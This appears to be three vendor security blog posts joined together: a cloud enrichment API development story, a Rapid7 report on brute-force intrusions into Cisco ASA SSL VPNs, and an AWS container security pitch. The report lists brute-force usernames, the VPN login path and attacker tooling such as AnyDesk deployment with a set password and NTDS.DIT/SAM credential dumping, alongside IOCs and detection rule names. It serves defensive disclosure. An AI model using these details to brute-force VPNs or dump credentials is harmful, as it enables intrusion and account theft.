Protecting cloud resources from cyber attacks is a growing challenge. Security analysts must grapple with gathering relevant data spread across multiple systems and APIs, leading to incident response inefficiencies. Presented with this challenge, we recognized a pressing need for a unified API that collects all relevant data types related to a cloud resource during a cyber threat action. This API streamlines data access, enabling analysts to piece together a comprehensive view of incidents rapidly, enhancing cybersecurity operations.

Defining the Vision and Scope

Our development team worked closely with security analysts to tailor the API's functionalities to meet real-world needs. Defining the API's scope involved meticulous prioritization of features, striking the right balance between usability and data abundance. By involving analysts from the outset, we laid a solid foundation for the API's success.

The Development Journey

Adopting agile methodologies, our team iteratively developed the API, adapting and fine-tuning as we progressed. The iterative development process played a vital role in ensuring the API's success. By breaking down the project into smaller, manageable tasks, we could focus on specific features, implement them efficiently, and gather feedback from early prototypes. With a comprehensive design phase, we defined the API's architecture and capabilities based on insights from security analysts. Regular meetings and feedback gathering facilitated continuous improvements, streamlining the data retrieval process.

The API utilizes RESTful API design principles for data integration and communication between cloud systems. It collects the following types of data:

  • Harvested cloud resource properties (image, IP, network interfaces, region, cloud organization and account, security groups, and much, much more)
  • Permissions data (permissions on the resource, permissions of the resource)
  • Security insights (risks, misconfigurations, vulnerabilities)
  • Security alerts (“threat finding”)
  • First level cloud related resources
  • Application context (tagging made by the client in the cloud environment)

Each data type required collaboration with a different team which is responsible for collecting and processing the data. This resulted in a feature that involved developers from 6 different teams! Regular meetings and continuous communication with the development team and the product manager, allowed us to incorporate suggestions and make iterative improvements to the API's design and functionality.

Conclusion

The development journey of our Cloud Resource Enrichment API has been both challenging and rewarding. With a user-centric approach, we have crafted a powerful tool that empowers security teams to respond effectively to cyber threats. As we continue to enhance the API, we remain committed to fortifying organizations' cyber defenses and elevating incident response capabilities. Together, we can better equip security analysts to face the ever-changing cyber war with confidence.

Under Siege: Rapid7-Observed Exploitation of Cisco ASA SSL VPNs

Tyler Starks, Christiaan Beek, Robert Knapp, Zach Dayton, and Caitlin Condon contributed to this blog.

Rapid7’s managed detection and response (MDR) teams have observed increased threat activity targeting Cisco ASA SSL VPN appliances (physical and virtual) dating back to at least March 2023. In some cases, adversaries have conducted credential stuffing attacks that leveraged weak or default passwords; in others, the activity we’ve observed appears to be the result of targeted brute-force attacks on ASA appliances where multi-factor authentication (MFA) was either not enabled or was not enforced for all users (i.e., via MFA bypass groups). Several incidents our managed services teams have responded to ended in ransomware deployment by the Akira and LockBit groups.

There is no clear pattern among target organizations or verticals. Victim organizations varied in size and spanned healthcare, professional services, manufacturing, and oil and gas, along with other verticals. We have included indicators of compromise (IOCs) and attacker behavior observations in this blog, along with practical recommendations to help organizations strengthen their security posture against future attacks. Note: Rapid7 has not observed any bypasses or evasion of correctly configured MFA.

Rapid7 has been actively working with Cisco over the course of our investigations. On August 24, Cisco’s Product Security Incident Response Team (PSIRT) published a blog outlining attack tactics they have observed, many of which overlap with Rapid7’s observations. We thank Cisco for their collaboration and willingness to share information in service of protecting users.

Observed attacker behavior

Rapid7 identified at least 11 customers who experienced Cisco ASA-related intrusions between March 30 and August 24, 2023. Our team traced the malicious activity back to an ASA appliance servicing SSL VPNs for remote users. ASA appliance patches varied across compromised appliances — Rapid7 did not identify any particular version that was unusually susceptible to exploitation.

In our analysis of these intrusions, Rapid7 identified multiple areas of overlap among observed IOCs. The Windows clientname WIN-R84DEUE96RB was often associated with threat actor infrastructure, along with the IP addresses 176.124.201[.]200 and 162.35.92[.]242. We also saw overlap in accounts used to authenticate into internal systems, including the use of accounts TEST, CISCO, SCANUSER, and PRINTER. User domain accounts were also used to successfully authenticate to internal assets — in several cases, attackers successfully authenticated on the first try, which may indicate that the victim accounts were using weak or default credentials.

The below image is an anonymized log entry where an attacker attempts a (failed) login to the Cisco ASA SSL VPN service. In our analysis of log files across different incident response cases, we frequently observed failed login attempts occurring within milliseconds of one another, which points at automated attacks.

Under Siege: Rapid7-Observed Exploitation of Cisco ASA SSL VPNs

In most of the incidents we investigated, threat actors attempted to log into ASA appliances with a common set of usernames, including:

  • admin
  • adminadmin
  • backupadmin
  • kali
  • cisco
  • guest
  • accounting
  • developer
  • ftp user
  • training
  • test
  • printer
  • echo
  • security
  • inspector
  • test test
  • snmp

The above is a fairly standard list of accounts that may point at use of a brute forcing tool. In some cases, the usernames in login attempts belonged to actual domain users. While we have no specific evidence of leaked victim credentials, we are aware that it’s possible to attempt to brute force a Cisco ASA service with the path +CSCOE+/logon.htm. VPN group names are also visible in the source code of the VPN endpoint login page and can be easily extracted, which can aid brute forcing attacks.

Upon successful authentication to internal assets, threat actors deployed set.bat. Execution of set.bat resulted in the installation and execution of the remote desktop application AnyDesk, with a set password of greenday#@!. In some cases, nd.exe was executed on systems to dump NTDS.DIT, as well as the SAM and SYSTEM hives, which may have given the adversary access to additional domain user credentials. The threat actors performed further lateral movement and binary executions across other systems within target environments to increase the scope of compromise. As mentioned previously, several of the intrusions culminated in the deployment and execution of Akira or LockBit-related ransomware binaries.

Dark web activity

In parallel with incident response investigations into ASA-based intrusions, Rapid7 threat intelligence teams have been monitoring underground forums and Telegram channels for threat actor discussion about these types of attacks. In February 2023, a well-known initial access broker called “Bassterlord” was observed in XSS forums selling a guide on breaking into corporate networks. The guide, which included chapters on SSL VPN brute forcing, was being sold for $10,000 USD.

When several other forums started leaking information from the guide, Bassterlord posted on Twitter about shifting to a content rental model rather than selling the guide wholesale:

Under Siege: Rapid7-Observed Exploitation of Cisco ASA SSL VPNs

Rapid7 obtained a leaked copy of the manual and analyzed its content. Notably, the author claimed they had compromised 4,865 Cisco SSL VPN services and 9,870 Fortinet VPN services with the username/password combination test:test. It’s possible that, given the timing of the dark web discussion and the increased threat activity we observed, the manual’s instruction contributed to the uptick in brute force attacks targeting Cisco ASA VPNs.

Under Siege: Rapid7-Observed Exploitation of Cisco ASA SSL VPNs

Indicators of compromise

Rapid7 identified the following IP addresses associated with source authentication events to compromised internal assets, as well as outbound connections from AnyDesk:

  • 161.35.92.242
  • 173.208.205.10
  • 185.157.162.21
  • 185.193.64.226
  • 149.93.239.176
  • 158.255.215.236
  • 95.181.150.173
  • 94.232.44.118
  • 194.28.112.157
  • 5.61.43.231
  • 5.183.253.129
  • 45.80.107.220
  • 193.233.230.161
  • 149.57.12.131
  • 149.57.15.181
  • 193.233.228.183
  • 45.66.209.122
  • 95.181.148.101
  • 193.233.228.86
  • 176.124.201.200
  • 162.35.92.242
  • 144.217.86.109

Other IP addresses that were observed conducting brute force attempts:

  • 31.184.236.63
  • 31.184.236.71
  • 31.184.236.79
  • 194.28.112.149
  • 62.233.50.19
  • 194.28.112.156
  • 45.227.255.51
  • 185.92.72.135
  • 80.66.66.175
  • 62.233.50.11
  • 62.233.50.13
  • 194.28.115.124
  • 62.233.50.81
  • 152.89.196.185
  • 91.240.118.9
  • 185.81.68.45
  • 152.89.196.186
  • 185.81.68.46
  • 185.81.68.74
  • 62.233.50.25
  • 62.233.50.17
  • 62.233.50.23
  • 62.233.50.101
  • 62.233.50.102
  • 62.233.50.95
  • 62.233.50.103
  • 92.255.57.202
  • 91.240.118.5
  • 91.240.118.8
  • 91.240.118.7
  • 91.240.118.4
  • 161.35.92.242
  • 45.227.252.237
  • 147.78.47.245
  • 46.161.27.123
  • 94.232.43.143
  • 94.232.43.250
  • 80.66.76.18
  • 94.232.42.109
  • 179.60.147.152
  • 185.81.68.197
  • 185.81.68.75

Many of the IP addresses above were hosted by the following providers:

  • Chang Way Technologies Co. Limited
  • Flyservers S.A.
  • Xhost Internet Solutions Lp
  • NFOrce Entertainment B.V.
  • VDSina Hosting

Log-based indicators:

  • Login attempts with invalid username and password combinations (%ASA-6-113015)
  • RAVPN session creation (attempts) for unexpected profiles/TGs (%ASA-4-113019, %ASA-4-722041, %ASA-7-734003)

Mitigation guidance

As Rapid7’s mid-year threat review noted, nearly 40% of all incidents our managed services teams responded to in the first half of 2023 stemmed from lack of MFA on VPN or virtual desktop infrastructure. These incidents reinforce that use of weak or default credentials remains common, and that credentials in general are often not protected as a result of lax MFA enforcement in corporate networks.

To mitigate the risk of the attacker behavior outlined in this blog, organizations should:

  • Ensure default accounts have been disabled or passwords have been reset from the default.
  • Ensure MFA is enforced across all VPN users, limiting exceptions to this policy as much as possible.
  • Enable logging on VPNs: Cisco has information on doing this for ASA specifically here, along with guidance on collecting forensic evidence from ASA devices here.
  • Monitor VPN logs for authentication attempts occurring outside expected locations of employees.
  • Monitor VPN logs for failed authentications, looking for brute forcing and password spraying patterns.
  • As a best practice, keep current on patches for security issues in VPNs, virtual desktop infrastructure, and other gateway devices.

Rapid7 is monitoring MDR customers for anomalous authentication events and signs of brute forcing and password spraying. For InsightIDR and MDR customers, the following non-exhaustive list of detection rules are deployed and alerting on activity related to the attack patterns in this blog:

  • Ingress Auth by Local ASA Account
  • Attacker Technique - NTDS File Access
  • Attacker Tool - Impacket Lateral Movement
  • Process Spawned By SoftPerfect Network Scanner
  • Execution From Root of ProgramData

Various sources have recently published pieces noting that ransomware groups appear to be targeting Cisco VPNs to gain access to corporate networks. Rapid7 strongly recommends reviewing the IOCs and related information in this blog and in Cisco’s PSIRT blog and taking action to strengthen security posture for VPN implementations.

Why Your AWS Cloud Container Needs Client-Side Security

With increasingly complicated network infrastructure and organizations needing to deploy applications across various environments, cloud containers are necessary for companies to stay agile and innovative. Containers are packages of software that hold all of the necessary components for an app to run in any environment. One of the biggest benefits of cloud containers? They virtualize an operating system, enabling users to access from private data centers, public clouds, and even laptops.

According to recent research by Faction, 92% of organizations have a multi-cloud strategy in place or are in the process of adopting one. In addition to the ubiquity of cloud computing, there are a variety of cloud container providers, including Google Cloud Platform (GCP), Amazon Web Services (AWS), and Microsoft Azure. Nearly 80% of all containers on the cloud, however, run on AWS, which is known for its security, reliability, and scalability.

When it comes to cloud container security, AWS works on a shared responsibility model. This means that security and compliance is shared between AWS and the client. AWS protects the infrastructure running the services offered in the cloud — the hardware, software, networking, and facilities.

Unfortunately, many AWS users stop here. They believe that the security provided by AWS is sufficient to protect their cloud containers. While it is true that the level of customer responsibility for security differs depending on the AWS product, each product does require the customer to assume some level of security responsibility.

To avoid this mistake, let’s examine why your AWS cloud container needs additional client-side security and how Rapid7 can help.

Top reasons why your AWS container needs client-side security

Visibility and monitoring

Some of the same qualities that make containers ideal for agility and innovation also creates difficulty in visibility and monitoring. Cloud containers are ephemeral, which means they’re easy to establish and destroy. This is convenient for quickly moving workloads and applications, but it also makes it difficult to track changes. Many AWS containers share memory and CPU resources with a variety of hosts (physical and cloud) in your ecosystem. Consequently, monitoring resource consumption and assessing container performance and application health can be difficult — after all, how can you know how much memory is being utilized by the container or the physical host?

Traditional monitoring tools and solutions also fail to collect the necessary metrics or provide the crucial insights needed for monitoring and troubleshooting container health and performance. While AWS offers protection for the cloud container structure, visualizing and monitoring what happens within the container is the responsibility of your organization.

Alert contextualization and remediation

As your company grows and you scale your cloud infrastructure, your DevOps teams will continue to create containers. For example, Google runs everything in containers and launches an epic amount of containers (several billion per week!) to keep up with their developer and client needs. While you might not be launching quite as many containers, it’s still easy to lose track of them all. Organizations utilize alerts to keep track of container performance and health to resolve problems quickly. While alerting policies differ, most companies use metric- or log-based alerting.

It can be overwhelming to manage and remediate all of your organization’s container alerts. Not only do these alerts need to be routed to the proper developer or resource owner, but they also need to be remediated quickly to ensure the security and continued good performance of the container.

Cybersecurity standards

While AWS provides security for your foundational services in containerized applications — computing, storage, databases, and networking — it’s your responsibility to develop sufficient security protocols to protect your data, applications, operating system, and firewall. In the same way that your organization follows external cybersecurity standards for security and compliance across the rest of your digital ecosystem, it's best to align your client-side AWS container security with a well-known industry framework.

Adopting a standardized cybersecurity framework will work in concert with AWS’s security measures by providing guidelines and best practices — preventing your organization from a haphazard security application that creates coverage gaps.

How Rapid7 can help with AWS container security

Now that you know why your organization needs client-side security, here’s how Rapid7 can help.

  • Visibility and monitoring: Rapid7’s InsightCloudSec continuously scans your cloud’s infrastructure, orchestration platforms, and workloads to provide a real-time assessment of health, performance, and risk. With the ability to scan containers in less than 60 seconds, your team will be able to quickly and accurately track changes in your containers and view the data in a single, convenient platform, perfect for collaborating across teams and quickly remediating issues.
  • Alert contextualization and remediation: Client-side security measures are key to processing and remediating system alerts in your AWS containers, but it can’t be accomplished manually. Automation is key for alert contextualization and remediation. InsightCloudSec integrates with AWS services like Amazon GuardDuty to analyze logs for malicious activity. The tool also integrates with your larger enterprise security systems to automate the remediation of critical risks in real time — often within 60 seconds.
  • Cybersecurity standards: While aligning your cloud containers with an industry-standard cybersecurity framework is a necessity, it’s often a struggle. Maintaining security and compliance requirements requires specialized knowledge and expertise. With record staff shortages, this often falls by the wayside. InsightCloudSec automates cloud compliance for well-known industry standards like the National Institute of Standards and Technology’s (NIST) Cybersecurity Framework (CSF) with out-of-the-box policies that map back to specific NIST directives.

Secure your container (and it’s contents)

AWS’s shared responsibility model of security helps relieve operational burdens for organizations operating cloud containers. AWS clients don’t have to worry about the infrastructure security of their cloud containers. The contents in the cloud containers, however, are the owner’s responsibility and require additional security considerations.

Client-side security is necessary for proper monitoring and visibility, reduction in alert fatigue and real-time troubleshooting, and the application of external cybersecurity frameworks. The right tools, like Rapid7’s InsightCloudSec, can provide crucial support in each of these areas and beyond, filling crucial expertise and staffing gaps on your team and empowering your organization to confidently (and securely) utilize cloud containers.

Want to learn more about AWS container security? Download Fortify Your Containerized Apps With Rapid7 on AWS.